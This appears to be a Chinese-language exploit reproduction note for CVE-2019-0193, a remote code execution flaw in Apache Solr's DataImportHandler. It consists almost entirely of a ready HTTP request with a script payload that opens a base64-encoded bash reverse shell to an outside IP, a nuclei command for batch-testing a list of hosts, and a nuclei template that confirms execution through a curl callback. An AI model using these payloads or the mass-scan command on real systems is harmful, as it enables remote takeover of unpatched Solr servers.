漏洞复现 CVE-2019-0193 solr RCE

http://x.x.x.x:8983/solr/admin/cores

POST /solr/test/dataimport?indent=on&wt=json HTTP/1.1Host: x.x.x.x:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 785Origin: http://x.x.x.x:8983Connection: closeReferer: http://x.x.x.x:8983/solr/Cookie: JSESSIONID=189B4C0C2DD2FAA46730AB6F93F07A5C; AuthSession=dnVsaHViOjYxNjU0RDU0OuuRUpB6L4bS_rEsM06eIp94lu1K; ADMINCONSOLESESSION=RDQnhK7ZvvJvYZ971L8pbqHlFY8Ty7Hr2v3yLPgJsJtYL2jpSVTS!1280347726
command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjcyLzc3NzcgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport#备注：exec(%22命令%22))

批量验证命令：nuclei.exe -l subs.txt -t cves/2019/CVE-2019-0193.yaml
yaml POC：id: CVE-2019-0193
info:  name: Apache Solr - DataImportHandler RCE  author: pdteam  severity: high  description: In Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true.  reference:    - https://nvd.nist.gov/vuln/detail/CVE-2019-0193    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193    - https://paper.seebug.org/1009/    - https://issues.apache.org/jira/browse/SOLR-13669  classification:    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H    cvss-score: 7.2    cve-id: CVE-2019-0193    cwe-id: CWE-94  tags: cve,cve2019,apache,rce,solr,oast,cisa
requests:  - raw:      - |        GET /solr/admin/cores?wt=json HTTP/1.1        Host: {{Hostname}}        Accept-Language: en        Connection: close
      - |        POST /solr/{{core}}/dataimport?indent=on&wt=json HTTP/1.1        Host: {{Hostname}}        Content-type: application/x-www-form-urlencoded        X-Requested-With: XMLHttpRequest
        command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22curl%20http://{{interactsh-url}}%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
    extractors:      - type: regex        internal: true        name: core        group: 1        regex:          - '"name":"(.*?)"'
    matchers-condition: and    matchers:      - type: word        part: interactsh_protocol  # Confirms the HTTP Interaction        words:          - "http"
      - type: status        status:          - 200